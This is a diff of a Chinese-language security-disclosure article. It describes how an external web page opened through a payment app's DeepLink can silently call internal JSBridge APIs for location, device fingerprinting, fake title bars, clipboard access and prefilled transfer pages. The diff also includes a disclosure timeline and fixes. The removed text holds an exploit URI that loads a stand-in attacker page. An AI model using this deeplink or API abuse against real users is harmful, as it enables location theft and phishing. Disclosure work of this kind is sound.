diff --git a/wechat_article.html b/wechat_article.html index 5668aaf..b547615 100644 --- a/wechat_article.html +++ b/wechat_article.html @@ -1,382 +1,392 @@
-
-

INNORA AI 安全研究

+
+

INNORA AI · 安全研究

- -
-

📌 完整技术报告(含在线 PoC 演示)

-

+ +

+

📌 完整技术报告(含在线 PoC 可验证演示)

+

🌐 研究主站https://innora.ai/zfb/

-

- 🐙 GitHub 仓库github.com/sgInnora/alipay-deeplink-research +

+ 🐙 GitHub(含完整代码)github.com/sgInnora/alipay-deeplink-research

-

⚠️ 为防删除,请自行 Fork 仓库或保存页面到本地备份!

+

⚠️ 为防内容被删,请立即 Fork 仓库 + 保存网页到本地!多备份几个地方!

-

· · ·

+

· · ·

- +
-

- 2026年3月7日,我们向某头部支付平台提交了一份包含 17个安全漏洞 的完整研究报告,附带 308 条服务器日志和 42 张真机截图作为证据。 +

+ 你点了一条链接。

-

- 厂商的回复只有四个字:「正常功能」。 +

+ 没有弹窗。没有提示。没有任何异常。

-

- 我们决定公开全部研究成果。 +

+ 但你的 实时位置信息、手机型号、系统版本、网络状态、蓝牙开关、摄像头权限 —— 在你毫不知情的情况下,全部被拿走了。 +

+

+ 攻击者还能伪造你看到的每一个界面,把标题栏改成「账户安全中心」,弹出假的系统通知,甚至帮你打开转账页面并填好金额。 +

+

+ 而这一切,来自一个 每天超过10亿人使用 的国民级支付App。

- + +
+
+

厂商官方回复 ↓

+

「正常功能」

+

—— 某头部支付平台安全团队,2026年3月8日

+
+
+ +
+

+ 是的,你没看错。我们花了3周,在3台设备、3个国家进行交叉验证,提交了包含 17 个安全发现 + 308 条数据窃取日志 + 42 张真机截图 的完整报告。 +

+

+ 厂商的安全团队评估后回复:这些都属于正常功能。 +

+
+ + +

· · ·

+ +
-

攻击只需一步:点击一个链接

+

只需一步:点一条链接

- 不需要 Root。不需要越狱。不需要任何特殊权限。 + 不需要 Root。不需要越狱。不需要安装任何东西。

- 受害者只需要做一件事 —— 在微信、QQ 或短信中点击一个链接。 + 受害者唯一需要做的 —— 在微信群、QQ群或短信里点开一条「红包」链接

-

- 这个链接会通过 DeepLink 协议直接打开目标支付App,在其内置浏览器中加载攻击者的网页。而这个网页,可以调用 App 内部的 JavaScript Bridge 接口 —— 无需任何额外授权。 +

+ 这条链接通过 DeepLink 协议直接唤起支付App,在 App 内置浏览器里加载攻击者的网页。而这个网页 自动获得了 App 的内部接口权限 —— 不弹窗,不授权,静默执行。

- +
-
-

📱 攻击流程:

-

攻击者发送链接 (伪装成红包/活动)

-

  ↓

-

受害者点击 → 浏览器解析 DeepLink

-

  ↓

-

支付App自动启动 → 加载攻击者页面

-

  ↓

-

JSBridge 全部开放 → 数据被窃取

-
-
- - -
-

能窃取什么?

-
- - -
-
-

🔴 CRITICAL — 严重

-

- 1. GPS 实时定位窃取
- 调用 getLocation 接口,静默获取经纬度、城市、国家。当用户曾授予App定位权限时,外部攻击页面可直接获取,不会弹出任何授权提示。 +

+

📱 完整攻击流程:

+

+ 攻击者在群里发「红包链接」/「活动链接」

-

- 2. 转账页面预填充
- 调用 startApp 打开转账功能并预填金额和收款账户。最终确认仍需用户操作,但在 UI 欺骗场景下可诱导用户完成。 +

+ 受害者点击 → 手机浏览器解析 DeepLink

-

- 3. 支付接口调用
- 调用 tradePay 接口可弹出支付确认页。用户取消后返回 resultCode=6001,但攻击者可反复触发,配合 UI 伪装进行钓鱼。 +

+ 支付App 自动启动 → 加载攻击者的网页

-
-
- - -
-
-

🟠 HIGH — 高危

-

- 4. 设备完整指纹
- 品牌、型号、系统版本、存储、电量、屏幕分辨率、蓝牙/WiFi/摄像头/麦克风授权状态 —— 一次全部泄露。 +

+ 攻击网页获得内部接口 → 静默窃取数据

-

- 5. 标题栏欺骗
- 调用 setTitle 将标题栏改为「账户安全中心」,配合 Toast 弹窗伪造系统通知。用户无法区分真假界面。 -

-

- 6. 敏感页面直达
- 通过 startApp 直接跳转至交易记录、转账联系人、付款码、余额、安全设置、银行卡管理等 11 个敏感页面,无额外确认。 -

-
-
- - -
-
-

🔵 MEDIUM — 中危

-

- 7-9. 网络信息 / 会话泄露 / 服务器时间同步
- WiFi/蜂窝状态、sessionId、sourcePackageName(知道你从哪来的),以及支付宝服务器精确时间。 -

-

- 10-13. 链式 WebView / Scheme 注入
- pushWindow 可以无限打开新页面,每个页面都自动获得完整 JSBridge 权限。还可注入 tel: / sms: 协议触发拨号和短信。 -

-

- 14-17. 剪贴板操作 / 联系人选择 / 分享劫持
- 读写剪贴板、弹出联系人选择器、触发分享面板 —— 全部可从外部页面调用。 +

+ 数据回传攻击者服务器(用户全程无感知)

-

· · ·

+

· · ·

- +
-

真机实测证据

+

17个「正常功能」,逐个拆解

-
-

- 我们在 3 台不同设备、3 个不同国家 进行了交叉验证: +

+

+ 以下每一项,都是外部攻击者页面可以在 App 内静默执行的「正常功能」。

+
-
-

📱 Samsung S25 Ultra — Android 15, 新西兰

-

📱 Redmi 12 — Android 14, 马来西亚

-

📱 iPhone 16 Pro — iOS 18.3, 中国大陆

+ +
+
+

严 重

+ +

+ ① 实时位置信息窃取
+ 调用 getLocation,静默获取精确经纬度 + 城市 + 国家。用户曾给App授过定位权限就会中招,不会弹任何提示 +

+ +

+ ② 转账页面预填充
+ 调用 startApp 打开转账功能,自动填好收款账号和金额。确认仍需用户操作,但配合 UI 伪装可诱导完成。 +

+ +

+ ③ 支付弹窗触发
+ 调用 tradePay 弹出支付确认页。用户取消后可反复触发,配合伪造界面进行钓鱼攻击。 +

+
-

- 共获取 308 条 服务器端数据日志,42 张 真机截图。攻击者页面成功从这三台设备上静默获取了 GPS 坐标、设备指纹、网络信息等敏感数据。 -

-

- 服务器日志示例: -

-
-

// 真实日志摘录 (已脱敏)

-

{

-

"tag": "GPS_Location",

-

"data": {

-

"latitude": "-36.8***",

-

"longitude": "174.7***",

-

"city": "Auckland",

-

"country": "NZ"

-

},

-

"device": "SM-S938B",

-

"timestamp": "2026-03-07T09:14:22Z"

-

}

+ +
+
+

高 危

+ +

+ ④ 设备完整指纹一键获取
+ 品牌、型号、系统版本、存储空间、电量、屏幕分辨率、蓝牙 / WiFi / 摄像头 / 麦克风授权状态 —— 一次性全部泄露。 +

+ +

+ ⑤ 标题栏 + 通知伪造
+ setTitle 把标题栏改成「账户安全中心」,toast 弹出假通知。用户根本分不清真假。 +

+ +

+ ⑥ 11个敏感页面直达
+ 交易记录、转账联系人、付款码、余额宝、安全设置、银行卡管理…… 通过 startApp 直接跳转,零确认。 +

+ +

+ ⑦ 会话信息泄露
+ getStartupParams 暴露 sessionId、启动来源、App版本。攻击者知道你从哪个App跳转过来的。 +

+ +

+ ⑧ 网络状态窃取
+ WiFi / 蜂窝 / 网络类型全部暴露。 +

+ +

+ ⑨ 服务器时间同步
+ 获取平台精确服务器时间,可用于时序攻击。 +

+
+
+ + +
+
+

中 危

+ +

+ ⑩ 链式 WebView 无限打开
+ pushWindow 可无限打开新页面,每个页面自动继承全部接口权限,形成无限攻击链。 +

+ +

+ ⑪⑫ Scheme 注入(拨号 + 短信)
+ pushWindow 可注入 tel: 和 sms: 协议,触发系统拨号器和短信应用。 +

+ +

+ ⑬⑭ 剪贴板读写
+ setClipboard / getClipboard,静默读取和修改用户剪贴板内容。 +

+ +

+ ⑮⑯⑰ 联系人选择 / 分享劫持 / 振动反馈
+ 弹出联系人选择器获取信息、触发分享面板、控制手机振动 —— 全部从外部页面一键调用。 +

-

· · ·

+

· · ·

- +
-

负责任披露时间线

+

3台设备,3个国家,308条日志

+
+ +
+
+

📱 Samsung S25 Ultra — Android 15 · 新西兰

+

📱 Redmi 12 — Android 14 · 马来西亚

+

📱 iPhone 16 Pro — iOS 18.3 · 中国大陆

+
+
+ +
+

+ 三台设备全部中招。攻击者服务器共记录了 308 条 窃取数据日志。以下是脱敏后的真实日志片段: +

+
+

// 真实服务器日志 (坐标已脱敏)

+

{

+

"tag": "Location_Data",

+

"latitude": "-36.8***",

+

"longitude": "174.7***",

+

"city": "Auckland",

+

"device": "SM-S938B",

+

"timestamp": "2026-03-07T09:14:22Z"

+

}

+
+
+ + +

· · ·

+ + +
+

负责任披露全记录

-

- 2026-02-25 —— 首次报告 (TLS/SSL 发现) → 官方 SRC 邮箱 +

+ 2026-02-25 · 首次报告 (TLS/SSL 相关) → 官方安全响应中心

-

- 2026-03-07 —— 完整 V3 报告 (17漏洞 + 308日志 + 42截图) → 安全联系人 +

+ 2026-03-07 · 完整报告 V3:17个发现 + 308条日志 + 42张截图 → 安全团队联系人

-

- 2026-03-08 —— 厂商回复:「根据我们的评估这些属于正常功能」 +

+ 2026-03-08 · 厂商回复:「根据我们的评估,这些属于正常功能」

-

- 2026-03-11 —— 公开披露 +

+ 2026-03-11 · 公开全部研究成果

+
-
-

- 我们理解厂商有自己的风险评估标准。但当一个外部网页可以在 App 内静默获取用户 GPS 定位、伪造应用界面进行钓鱼、甚至预填转账信息时,将其定性为「正常功能」,我们无法认同。 +

+

+ 我们完全遵循了负责任披露流程。先私下报告,等待官方响应。

-

- 公开披露不是为了对抗,而是为了让更多安全研究人员和用户知情,共同推动问题解决。 +

+ 当一个外部网页能在 App 内 静默获取用户位置伪造界面进行钓鱼预填转账信息 时—— +

+

+ 称之为「正常功能」,我们无法接受。

-

· · ·

- - -
-

在线 PoC 演示(只读,不收集数据)

-
- -
-

- 我们提供了三个在线 PoC 页面,所有数据仅在本地展示,不会传输至任何服务器: -

- -
-

- 🎯 Trigger Page — 模拟攻击者分发页面 -

-

- innora.ai/zfb/poc/trigger.html -

-
- -
-

- 🔓 JSBridge PoC — 演示外部页面的 API 访问能力 -

-

- innora.ai/zfb/poc/verify.html -

-
- -
-

- 🔗 Chain WebView — 证明链式页面仍保留完整 Bridge 权限 -

-

- innora.ai/zfb/poc/chain.html -

-
-
- - -

· · ·

- - -
-

为什么选择公开?

-
- -
-

- 我们完全遵循了负责任披露流程 —— 先私下报告,等待厂商响应。厂商明确回复这些是「正常功能」,表示不会修复。 -

-

- 在这种情况下,公开是唯一能推动改变的方式。我们希望: -

-
-

1️⃣ 用户知道自己的隐私正在被「正常功能」暴露

-

2️⃣ 安全研究社区可以独立验证我们的发现

-

3️⃣ 厂商重新审视这些问题的严重性

-

4️⃣ 整个行业认真对待 DeepLink 攻击面

-
-
- - -

· · ·

+

· · ·

-
-

⚠️ 重要澄清

+
+

⚠️ 重要澄清

- 本研究未发现零交互自动扣款漏洞。转账预填充仍需用户手动确认。GPS 获取依赖于用户此前已授予该App定位权限。 + 本研究未发现零交互自动扣款。转账预填充仍需用户手动点击确认。位置获取依赖用户此前已授予App的定位权限。

- 核心风险在于:任何外部HTTPS网页通过 DeepLink 加载后,可以调用大量本应仅限于官方小程序使用的内部接口,且无需额外授权。这将传统钓鱼攻击的杀伤力提升了一个数量级。 + 核心问题在于:任何外部HTTPS网页通过DeepLink加载后,可以调用大量本应仅限官方小程序使用的内部接口,无需额外授权。这使传统钓鱼攻击的杀伤力提升了一个数量级。

- +
-

技术要点

+

在线PoC验证(只读,不收集数据)

-

- 攻击的核心入口是 DeepLink URI scheme: +

+ 以下三个PoC页面均为只读演示,所有数据仅在本地显示,不传输至任何服务器。安全研究人员可自行验证。

-
-

alipays://platformapi/startapp?appId=20000067&url=https://attacker.com/evil.html

+ +
+

🎯 攻击触发页 — 模拟攻击者分发钓鱼链接

+

innora.ai/zfb/poc/trigger.html

+
+ +
+

🔓 JSBridge PoC — 17个接口实测演示

+

innora.ai/zfb/poc/verify.html

+
+ +
+

🔗 链式攻击 — 证明链式页面保留完整权限

+

innora.ai/zfb/poc/chain.html

-

- 其中 appId=20000067 是内置浏览器组件。任何 HTTPS URL 都可以通过这个方式在 App 的 WebView 容器中打开,而 WebView 会自动注入 AlipayJSBridge 对象,提供 50+ 个内部 API。 -

-

- 更详细的攻击链分析、每个 API 的调用代码、服务器日志原文,请参阅完整报告。 -

-

· · ·

- - -
-
-

🛡️ 多节点存档(防删除)

-

- 本研究已在多个独立节点同步发布。如发现任一地址不可访问,请从其他节点获取。 -

-
-

- 🌐 研究主站https://innora.ai/zfb/ -

-
- -

- ⚠️ 请 Fork GitHub 仓库 / 保存页面到本地 / 转发本文,帮助保留证据! -

-
-
+

· · ·

-

修复建议

+

我们给出的修复建议

-

- 我们同时提供了完整的修复建议方案: -

-
-

🔒 URL 白名单:仅允许官方域名通过 appId=20000067 加载

-

🔒 JSBridge 分级:外部页面仅开放基础 API,敏感接口需域名+签名验证

-

🔒 DeepLink 确认:外部来源的 DeepLink 必须弹出安全确认弹窗

-

🔒 位置权限:WebView 中的 getLocation 应独立于系统权限,需显式授权

-

🔒 UI 隔离:外部页面禁止 setTitle/toast,或添加不可欺骗的安全标识

+
+

🔒 URL 白名单:仅允许官方域名通过 WebView 加载

+

🔒 接口分级:外部页面只能用基础API,敏感接口需域名+签名双重验证

+

🔒 DeepLink 确认弹窗:外部来源的链接必须显示安全提示

+

🔒 位置权限隔离:WebView 内的定位请求应独立于系统权限

+

🔒 UI 防伪标识:外部页面禁止修改标题栏,或添加不可伪造的安全标记

-

· · ·

+

· · ·

+ + +
+
+

🛡️ 防删除 · 多节点存档

+

+ 本研究已在多个独立节点同步发布
如发现任一地址不可访问,请从其他节点获取完整内容 +

+
+

+ 🌐 主站https://innora.ai/zfb/ +

+
+ +

+ ⚠️ 请立即 Fork 仓库 / 保存页面 / 转发本文
帮助保留证据,防止单节点删除! +

+
+
-

- 法律声明:本研究仅用于安全教育目的。所有测试在研究者自有账户和设备上进行,未对第三方账户或数据进行未授权访问。PoC 页面为只读演示,已禁用所有数据外传功能。本研究遵循负责任披露流程,厂商已获得充分时间响应。 +

+ 法律声明:本研究仅用于安全教育目的。所有测试在研究者自有账户和设备上进行,未对第三方进行未授权访问。PoC 页面为只读演示,已禁用全部数据外传功能。研究遵循负责任披露流程,厂商已获充分响应时间。

- -
-

Innora AI 安全研究团队

-

feng@innora.ai

-

2026-03-11

-

— END —

+ +
+

Innora AI 安全研究团队

+

feng@innora.ai · innora.ai

+

2026-03-11

+

— END —